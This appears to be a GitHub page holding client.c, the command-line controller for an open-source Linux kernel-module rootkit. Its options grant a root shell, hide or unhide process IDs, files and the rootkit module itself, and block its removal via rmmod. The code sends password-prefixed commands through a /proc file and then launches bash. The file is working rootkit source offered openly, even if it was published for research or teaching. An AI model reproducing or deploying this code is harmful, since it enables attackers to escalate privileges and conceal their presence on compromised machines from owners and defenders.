-
-
Notifications
You must be signed in to change notification settings - Fork 202
/
client.c
261 lines (219 loc) · 7.57 KB
/
client.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
/*
* Copyright (C) 2016-2017 Maxim Biro <nurupo.contributions@gmail.com>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <getopt.h>
#include <unistd.h>
#include "config.h"
void print_help(char **argv)
{
printf(
"Usage: %s [OPTION]...\n"
"\n"
"Options:\n"
" --root-shell Grants you root shell access.\n"
" --hide-pid=PID Hides the specified PID.\n"
" --unhide-pid=PID Unhides the specified PID.\n"
" --hide-file=FILENAME Hides the specified FILENAME globally.\n"
" Must be a filename without any path.\n"
" --unhide-file=FILENAME Unhides the specified FILENAME.\n"
" --hide Hides the rootkit LKM.\n"
" --unhide Unhides the rootkit LKM.\n"
" --help Print this help message.\n"
" --protect Protects the rootkit from rmmod.\n"
" --unprotect Disables the rmmod protection.\n\n", argv[0]);
}
void handle_command_line_arguments(int argc, char **argv, int *root, int *hide_pid,
int *unhide_pid, char **pid, int *hide_file,
int *unhide_file, char **file, int *hide,
int *unhide, int *protect, int *unprotect)
{
if (argc < 2) {
fprintf(stderr, "Error: No arguments provided.\n\n");
print_help(argv);
exit(1);
}
opterr = 0;
static struct option long_options[] = {
{"root-shell", no_argument, 0, 'a'},
{"hide-pid", required_argument, 0, 'b'},
{"unhide-pid", required_argument, 0, 'c'},
{"hide-file", required_argument, 0, 'd'},
{"unhide-file", required_argument, 0, 'e'},
{"hide", no_argument, 0, 'f'},
{"unhide", no_argument, 0, 'g'},
{"help", no_argument, 0, 'h'},
{"protect", no_argument, 0, 'i'},
{"unprotect", no_argument, 0, 'j'},
{0, 0, 0, 0 }
};
*root = 0;
*hide_pid = 0;
*unhide_pid = 0;
*pid = NULL;
*hide_file = 0;
*unhide_file = 0;
*file = NULL;
*hide = 0;
*unhide = 0;
*protect = 0;
*unprotect = 0;
int opt;
while ((opt = getopt_long(argc, argv, ":", long_options, NULL)) != -1) {
switch (opt) {
case 'a':
*root = 1;
break;
case 'b':
*hide_pid = 1;
*pid = optarg;
break;
case 'c':
*unhide_pid = 1;
*pid = optarg;
break;
case 'd':
*hide_file = 1;
*file = optarg;
break;
case 'e':
*unhide_file = 1;
*file = optarg;
break;
case 'f':
*hide = 1;
break;
case 'g':
*unhide = 1;
break;
case 'h':
print_help(argv);
exit(0);
case 'i':
*protect = 1;
break;
case 'j':
*unprotect = 1;
break;
case '?':
fprintf(stderr, "Error: Unrecognized option %s\n\n", argv[optind - 1]);
print_help(argv);
exit(1);
case ':':
fprintf(stderr, "Error: No argument provided for option %s\n\n", argv[optind - 1]);
print_help(argv);
exit(1);
}
}
if ((*root + *hide_pid + *unhide_pid + *hide_file + *unhide_file + *hide
+ *unhide + *protect + *unprotect) != 1) {
fprintf(stderr, "Error: Exactly one option should be specified\n\n");
print_help(argv);
exit(1);
}
}
void write_buffer(char **dest_ptr, char *src, size_t size)
{
memcpy(*dest_ptr, src, size);
*dest_ptr += size;
}
int main(int argc, char **argv)
{
int root;
int hide_pid;
int unhide_pid;
char *pid;
int hide_file;
int unhide_file;
char *file;
int hide;
int unhide;
int protect;
int unprotect;
handle_command_line_arguments(argc, argv, &root, &hide_pid, &unhide_pid, &pid,
&hide_file, &unhide_file, &file, &hide, &unhide,
&protect, &unprotect);
size_t buf_size = 0;
buf_size += sizeof(CFG_PASS);
if (root) {
buf_size += sizeof(CFG_ROOT);
} else if (hide_pid) {
buf_size += sizeof(CFG_HIDE_PID) + strlen(pid);
} else if (unhide_pid) {
buf_size += sizeof(CFG_UNHIDE_PID) + strlen(pid);
} else if (hide_file) {
buf_size += sizeof(CFG_HIDE_FILE) + strlen(file);
} else if (unhide_file) {
buf_size += sizeof(CFG_UNHIDE_FILE) + strlen(file);
} else if (hide) {
buf_size += sizeof(CFG_HIDE);
} else if (unhide) {
buf_size += sizeof(CFG_UNHIDE);
} else if (protect) {
buf_size += sizeof(CFG_PROTECT);
} else if (unprotect) {
buf_size += sizeof(CFG_UNPROTECT);
}
buf_size += 1; // for null terminator
char *buf = malloc(buf_size);
buf[buf_size - 1] = 0;
char *buf_ptr = buf;
write_buffer(&buf_ptr, CFG_PASS, sizeof(CFG_PASS));
if (root) {
write_buffer(&buf_ptr, CFG_ROOT, sizeof(CFG_ROOT));
} else if (hide_pid) {
write_buffer(&buf_ptr, CFG_HIDE_PID, sizeof(CFG_HIDE_PID));
write_buffer(&buf_ptr, pid, strlen(pid));
} else if (unhide_pid) {
write_buffer(&buf_ptr, CFG_UNHIDE_PID, sizeof(CFG_UNHIDE_PID));
write_buffer(&buf_ptr, pid, strlen(pid));
} else if (hide_file) {
write_buffer(&buf_ptr, CFG_HIDE_FILE, sizeof(CFG_HIDE_FILE));
write_buffer(&buf_ptr, file, strlen(file));
} else if (unhide_file) {
write_buffer(&buf_ptr, CFG_UNHIDE_FILE, sizeof(CFG_UNHIDE_FILE));
write_buffer(&buf_ptr, file, strlen(file));
} else if (hide) {
write_buffer(&buf_ptr, CFG_HIDE, sizeof(CFG_HIDE));
} else if (unhide) {
write_buffer(&buf_ptr, CFG_UNHIDE, sizeof(CFG_UNHIDE));
} else if (protect) {
write_buffer(&buf_ptr, CFG_PROTECT, sizeof(CFG_PROTECT));
} else if (unprotect) {
write_buffer(&buf_ptr, CFG_UNPROTECT, sizeof(CFG_UNPROTECT));
}
int fd = open("/proc/" CFG_PROC_FILE, O_RDONLY);
if (fd < 1) {
int fd = open("/proc/" CFG_PROC_FILE, O_WRONLY);
if (fd < 1) {
fprintf(stderr, "Error: Failed to open %s\n", "/proc/" CFG_PROC_FILE);
return 1;
}
write(fd, buf, buf_size);
} else {
read(fd, buf, buf_size);
}
close(fd);
free(buf);
if (root) {
execl("/bin/bash", "bash", NULL);
}
return 0;
}